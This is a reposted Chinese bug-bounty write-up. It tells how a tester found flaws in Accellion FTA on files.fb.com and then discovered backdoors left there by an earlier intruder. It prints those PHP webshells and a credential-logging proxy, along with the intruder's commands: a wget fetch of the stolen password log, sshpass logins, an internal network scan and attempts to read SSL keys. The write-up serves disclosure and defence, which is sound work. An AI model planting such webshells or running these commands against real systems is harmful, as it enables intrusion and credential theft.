0x00 写在故事之前

身一位渗透测试人员,比起 Client Side 的弱点,我更喜欢 Server Side 的攻击,能够直接控制服务器并获得权限操作 SHELL 才爽 。 当然一次完美的渗透出现任何形式的弱点都不可小视,在实际渗透时偶尔还是需要些 Client Side 弱点组合可以更完美的控制服务器,但是在寻找弱点时我本身还是先偏向于以可直接进入服务器的方式去寻找风险高、能长驱直入的弱点。随著 Facebook 在世界上越来越火、用户数量越来越多,一直以来都有想要尝试渗透目标的想法,恰好 Facebook 在 2012 年开始有了 Bug Bounty 奖金猎人的机制让我更加有兴趣渗透。

一般如由渗透的角度来说习惯性都会从收集资料、探测开始,首先界定出目标在网路上的 “范围” 有多大,姑且可以评估一下从何处比较有机会下手。例如:

  • Google Hacking 能得到什么资料?
  • 有几个 B 段的 IP ? C 段的 IP ?
  • Whois? Reverse Whois?
  • 有什么域名? 内部使用的域名? 接著做子域名的猜测、扫描
  • 公司平常爱用什么样技术、设备?
  • 在 Github, Pastebin 上是否有泄露的信息?
  • …etc

当然 Bug Bounty 并不是让你无限制的攻击,将所遇到的范围与 Bug Bounty 所允许的范围做交集后才是你真正可以去尝试的目标。

一般来说大公司在渗透中比较容易出现的问题点这里例举几个例子来探讨:

  1. 对多数大公司而言,”网路边界” 是比较难顾及、容易出现问题的一块,当公司规模越大,同时拥有数千、数万台机器在线,管理员很难顾及到每台机器。在攻防中,防守要防的是一个面,但攻击只需找个一个点就可以突破,所以防守方相对于弱势,攻击者只要找到一台位于网路边界的机器入侵进去就可以开始在内网进行渗透了!
  2. 对于 “连网设备” 的安全意识相对薄弱,由于连网设备通常不会提供 SHELL 给管理员做进一步的操作,只能由设备本身所提供的界面设定,所以通常对于设备的防御都是从网路层来防御,但如遇到设备本身的 0-Day 或者是 1-Day 可能连被入侵了都无感应。
  3. 人的安全,随著 “社工库” 的崛起,有时可以让一次渗透的流程变得异常简单,从公开资料找出公司员工列表,再从社工库找到可以登入 VPN 的员工密码就可以开始进行内网渗透,尤其当社工库数量越来越多 “量变成质变” 时只要关键人物的密码在社工库中可找到,那企业的安全性就全然被突破 :

在寻找 Facebook 弱点时会以平常的思路进行渗透,在开始搜集资料时除了针对 Facebook 本身域名查询外也对注册邮箱进行 Reverse Whois, 意外发现了个有趣的域名名称

tfbnw.net

TFBNW 似乎是 “TheFacebook Network” 的缩写

再由公开资料发现存在下面这台服务器

vpn.tfbnw.net

哇! vpn.tfbnw.net 看起来是个 Juniper SSL VPN 的登录界面,不过版本是最新你的,并没有直接可利用的弱点,不过这也成为了进入其内部故事的开端。

TFBNW 看似是 Facebook 内部用的域名,来扫扫 vpn.tfbnw.net 同网段会有什么发现

  • Mail Server Outlook Web App
  • F5 BIGIP SSL VPN
  • CISCO ASA SSL VPN
  • Oracle E-Business
  • MobileIron MDM

从这几台机器大致可以判断这个网段对于 Facebook 来说应该是相对重要的网段,之后一切的故事就从这里开始


0x01 前期弱点收集

在同网段中,发现一台特别的服务器

files.fb.com

                                                                                         files.fb.com 登陆界面

从 LOGO 以及 Footer 判断应该是 Accellion 的 Secure File Transfer (以下简称 FTA)

FTA 为一款安全文档传输的产品,可让让使用者进行线上分享、同步文档,并整合 AD, LDAP, Kerberos 等 Single Sign-on 机制,Enterprise 版本更支持 SSL VPN 服务。

首先看到 FTA 的第一件事是去网络上搜索是否有公开的 Exploit 是否可以被利用,Exploit 最近的是由 HD Moore 发现并发布在 Rapid7 的这篇 Advisory文章

弱点中可直接从 “/tws/getStatus” 中泄露的版本信息判断是否可被利用,在发现 files.fb.com 时该版本已从有漏洞的 0.18 升级至 0.20 了,不过就从 Advisory 中所透泄露的代码中感觉 FTA 的编写风格,如果再继续挖掘可能还是会有问题存在的,所以这时的策略便开始往寻找 FTA 产品的 0-Day!

不过从实际黑盒的方式其实找不出什么问题点,只好想办法将方向转为百盒测试,通过各种方式拿到旧版的 FTA 原始代码后终于可以开始研究了!

整个 FTA 产品大致架构

  1. 网页端介面主要由 Perl 以及 PHP 构成
  2. PHP 原始代码都经过 IonCube 加密
  3. 在其项目中跑了许多 Perl 的 Daemon

首先是解密 IonCude 的部分,许多设备为了防止自己的产品被泄露,所以会将原始码加密,不过好在 FTA 上的 IonCude 版本不是最新的,可以使用现成的工具解密,不过由于 PHP 版本的问题,细节部份以及数值运算等可能要靠自己修复一下,不然有点难看…

经过简单的源代码审计后发现,好找的弱点应该都被 Rapid7 找到了T^T

而需要认证才能触发的漏洞又不怎么好用,只好认真地往深层一点的地方挖掘!

经过几天的认真挖掘,最后总共发现了七个弱点,其中包含了

  • Cross-Site Scripting x 3
  • Pre-Auth SQL Injection leads to Remote Code Execution
  • Known-Secret-Key leads to Remote Code Execution
  • Local Privilege Escalation x 2

除了向Facebook 安全团队报告漏洞外,其余的漏洞弱点也编写成Advisory 提交 Accellion 技术文档,经过向厂商提交 修补CERT/CC 后取得四个 CVE 编号

  • CVE-2016-2350
  • CVE-2016-2351
  • CVE-2016-2352
  • CVE-2016-2353

详细的弱点细节会在 Full Disclosure Policy 后公布!

                                           使用 Pre-Auth SQL Injection 写入 Webshell

在实际渗透中进入服务器后的第一件事情就是检查当前的环境是否对自己有用,为了要让自己可以在服务器上维持久的权限,就要尽可能的了解服务器上有什么限制、记录,避开可能会被发现的风险 :P

Facebook 大致有以下限制:

  1. 防火牆无法连接外部网络, TCP, UDP, 53, 80, 443 皆无法连接
  2. 存在远端的 Syslog 服务器
  3. 开启Auditd 记录

无法外连看起来有点麻烦,但是 ICMP Tunnel 看似是可行的,但这只是一个 Bug Bounty Program 其实不需要太麻烦就纯粹以 Webshell 操作即可。


0x02  渗透测试过程

正当收集漏洞证据向 Facebook 安全团队报告时,从网页日志中似乎看到一些奇怪的痕迹。

首先是在 “/var/opt/apache/php_error_log” 中看到一些奇怪的 PHP 错误信息,从错误信息来看似乎像是更改 Code 所执行产生的错误。

                                                                                                               PHP error log

跟随错误信息的路径分析,发现疑似前人留下的 Webshell 后门

                                                   Webshell on facebook server

其中几个文件的内容如下:

sshpass

沒錯,就是那個 sshpass
bN3d10Aw.php
<?php echo shell_exec($_GET['c']); ?>
uploader.php
<?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>
d.php
<?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?>
sclient\_user\_class\_standard.inc
<?php
include_once('sclient_user_class_standard.inc.orig');
$fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a");
$retries = ;
$max_retries = ; // 省略... fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n"); // 省略...

前几个就是很标准的 PHP 一句话木马

其中比较特别的是 “sclient_user_class_standard.inc” 这个文件。

include_once 在 “sclient_user_class_standard.inc.orig” 中为原本对密码进行验证的 PHP 程序,骇客做了一个 Proxy ,并在中间进行一些重要操作时先把 GET, POST, COOKIE 的值记录起来。

整理了一下,骇客在密码验证的地方做了一个 Proxy ,并且记录 Facebook 员工的帐号密码,并且将记录到的密码存储到 Web 目录下,骇客每隔一段时间使用 wget 抓取

wget https://files.fb.com/courier/B3dKe9sQaa0L.log

                                                  Logged passwords

从日志记录里面可以看到除了使用者帐号密码外,还有从 FTA 文件时的邮件内容,记录到的帐号密码会定时 Rotate (后文会提及,这点还是XD)

发现最近一次的 Rotate 从 2/1 记录到 2/7 共约 300 条帐号密码纪录,大多都是 “@fb.com” 或是 “@facebook.com” 的员工账号密码,这事觉得事情有点严重了,在 FTA 中,使用者的登入主要有两种模式

  1. 一般用户注册,密码 Hash 存在资料库,由 SHA256 + SALT 储存
  2. Facebook 员工 (@fb.com) 则走统一认证,使用 LDAP 由 AD 认证

在 这日志记录中有真实的员工帐号密码被泄露,**猜测** 这份帐号密码应该可以通行 Facebook Mail OWA, VPN 等服务做更进一步的渗透…

此外,这名 “骇客” 可能习惯不太好 :P

  1. 后门参数皆使用 GET 来传递,在网页日志可以很明显的发现其足迹
  2. 骇客在进行一些指令操作时没考虑到 STDERR ,导致网页日志中很多指令的错误信息,从中可以查看到骇客做了哪些操作

从 access.log 可以观察到的每隔数日骇客会将记录到的帐号密码清空

192.168.54.13 - -  [Sat,  Jan  :: + | ] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1"   ...

打包文件:

cat tmp_list3_2 | while read line; do cp /home/filex2//$line files; done >/dev/stdout
tar -czvf files.tar.gz files

对内部网路结构进行探测

dig a archibus.thefacebook.com
telnet archibus.facebook.com
curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
dig a records.fb.com
telnet records.fb.com
telnet records.fb.com
wget -O- -q http://192.168.41.16
dig a acme.facebook.com
./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' >/dev/stdout
...

使用 Shell Script 进行内网扫描,但忘记把 STDERR 清理掉XD

尝试对内部 LDAP 进行连接

sh: -c: line : syntax error near unexpected token `('
sh: -c: line : `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'

尝试访问内部网路资源

( 看起来 Mail OWA 可以直接访问 …)

--::--  https://mail.thefacebook.com/
Resolving mail.thefacebook.com... 192.168.52.37
Connecting to mail.thefacebook.com|192.168.52.37|:... connected.
HTTP request sent, awaiting response... Found
Location: https://mail.thefacebook.com/owa/ [following]
--::-- https://mail.thefacebook.com/owa/
Reusing existing connection to mail.thefacebook.com:.
HTTP request sent, awaiting response... Moved Temporarily
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]
--::-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0
Reusing existing connection to mail.thefacebook.com:.
HTTP request sent, awaiting response... OK
Length: (.7K) [text/html]
Saving to: `STDOUT' 0K ........ % .17G=0s :: (1.17 GB/s) - `-' saved [8902/8902] --::-- (try:) https://10.8.151.47/
Connecting to 10.8.151.47:... --::-- https://svn.thefacebook.com/
Resolving svn.thefacebook.com... failed: Name or service not known.
--::-- https://sb-dev.thefacebook.com/
Resolving sb-dev.thefacebook.com... failed: Name or service not known.
failed: Connection timed out.
Retrying.

尝试对 SSL Private Key 渗透

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
base64: invalid input

从浏览器观察 files.fb.com 的证书凭证还是 Wildcard 的 *.fb.com …


0x03  后记总结

在收集完足够证据后,便立即把它报告给 Facebook 安全团队,报告内容除了漏洞细节外,还附上相对应的 Log 、截图以及时间纪录xD

从服务器中的日志可以发现有两个时间点是明显骇客在操作系统的时间,一个是七月初、另个是九月中旬

七月初的动作从纪录中看起来比较偏向 “寻找” 服务器,但九月中旬的操作就比较恶意了,除了“寻找”外,还放置了密码 Logger 等,至于两个时间点的 “骇客” 是不是同一个人就不得而知了 :P

而七月发生的时机点正好接近 CVE-2015-2857 Exploit 公布前,究竟是通过 1-Day 还是 0-Day 入侵系统也无从得知了。这件事情就记录到这裡,总体来说这是一个非常有趣的经历xD ,也让我有这个机会可以来写写关于渗透的一些文章 :P

最后也感谢 Bug Bounty 及胸襟宽阔的 Facebook 安全团队 让我可以完整记录这起事件 : )

 
 
from:

渗透 Facebook 的思路与发现的更多相关文章

  1. 渗透测试常规思路分析-FREEBUF

    最基础但练得好最后也非常厉害 1.  主要由于服务器配置等原因造成的信息泄露 常用google ,bing等搜索工具,轻量级的搜索出一些遗留后门,不想被发现的后台入口,中量级的搜索出一些用户信息泄露, ...

  2. 小白日记7:kali渗透测试之主动信息收集-发现(一)--二层发现:arping/shell脚本,Netdiscover,scapy

    主动信息收集 被动信息收集可能不准确,可以用主动信息收集验证   特点:直接与目标系统交互通信,无法避免留下访问痕迹 解决方法:1.使用受控的第三方电脑进行探测,使用代理 (做好被封杀的准备)   2 ...

  3. kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail

    kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail 相关链接:https://www.bbsmax.com/A/xl569l20Jr/ http://4hou.win/wordp ...

  4. 《Metasploit渗透测试魔鬼训练营》第一章读书笔记

    第1章 魔鬼训练营--初识Metasploit 20135301 1.1 什么是渗透测试 1.1.1 渗透测试的起源与定义 如果大家对军事感兴趣,会知道各国军队每年都会组织一些军事演习来锻炼军队的攻防 ...

  5. 20145211《网络渗透》MS12-004漏洞渗透

    20145211<网络渗透>MS12-004漏洞渗透 一 实验原理 初步掌握平台matesploit的使用 有了初步完成渗透操作的思路 在这里我选择对的不是老师推荐的MS11_050,而是 ...

  6. 记录一次坎坷的linux内网渗透过程瞎折腾的坑

    版权声明:本文为博主的原创文章,未经博主同意不得转载. 写在前面 每个人都有自己的思路和技巧,以前遇到一些linux的环境.这次找来一个站点来进行内网,写下自己的想法 目标环境 1.linux  2. ...

  7. 基于SNMP的交换机入侵的内网渗透

    前言:局域网在管理中常常使用SNMP协议来进行设备的管理和监控,而SNMP的弱点也成为了我们此次渗透的关键. 使用SNMP管理设备只需要一个community string,而这个所谓的密码经常采用默 ...

  8. web渗透(转)

    某天比较无聊,听一个朋友推荐httpscan这款工具,于是就下载下来试试. 首先对某学校网段开始进行测试. 1   python httpscan.py **.**.**.0/24 测试时发现有个比较 ...

  9. PTEST 渗透测试标准

    1:前期交互阶段 在前期交互(Pre-Engagement Interaction)阶段,渗透测试团队与客户组织进行交互讨论,最重要的是确定渗透测试的范围.目标.限制条件以及服务合同细节.该阶段通常涉 ...

随机推荐

  1. Java 的API(API: Application(应用) Programming(程序) Interface(接口))

    按 ctrl 点击查看源代码: 一.equals方法: 1.用于比较两个对象是否相同. 2.Objec 类中,若两边是引用数据类型,比较的是两个对象的内存地址. 3.Objec 类中,若两边是数值类型 ...

  2. SPA项目开发之登录注册

    CMD安装所需要的pom依赖 npm install element-ui -S npm install axios -S npm install qs -S npm install vue-axio ...

  3. 熟悉 rsync 的功能及其特点

    提要 熟悉 rsync 的功能及其特点 掌握 rsync 语法及常用选项的功能 掌握 rsync 命令的三种基本使用方法 掌握如何筛选 rsync 的传输目标 掌握使用 rsync 进行镜像和增量备份 ...

  4. CF1215E Marbles

    CF1215E Marbles 传送门 思路 一道比较有意思的状压dp. 首先有一个结论,把一个序列通过交换相邻元素排序,那么交换次数的最小值就是逆序对个数. 证明:从小到大依次把元素换到最前面,那么 ...

  5. 认识随机函数rand()和srand(unsigned int )

    rand函数 int rand( void ); 函数名:   rand 功   能:   随机数发生器 用   法:   int rand(void); 所在头文件: stdlib.h 函数说明 : ...

  6. Java判断文件类型

    通常,在WEB系统中,上传文件时都需要做文件的类型校验,大致有如下几种方法: 1. 通过后缀名,如exe,jpg,bmp,rar,zip等等. 2. 通过读取文件,获取文件的Content-type来 ...

  7. Echart、Excel、highcharts、jfreechart对比

      Echart Excel highcharts jfreechart 柱状图 √ √ √ √ 条形图 √ √ √ √ 折线图 √ √ √ √ 面积图 √ √ √ √ 散点图 √ √ √ √ 气泡图 ...

  8. Idea 进行断点调试的 快捷键

    快捷键 功能描述F8 单步调试,不进入函数内部F7 单步调试,进入函数内部Shift+F7 选择要进入的函数Shift+F8 跳出函数Alt+F9 运行到断点Alt+F8 执行表达式查看结果F9 继续 ...

  9. ef core 全局过滤

    有些固定的条件,基本每个查询的时候需要带的条件,我们可以使用全局过滤来帮我们,这样后面的查询就不用每次都带条件了. 微软自带的:https://docs.microsoft.com/zh-cn/ef/ ...

  10. scaffold

    #!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import print_function import argparse ...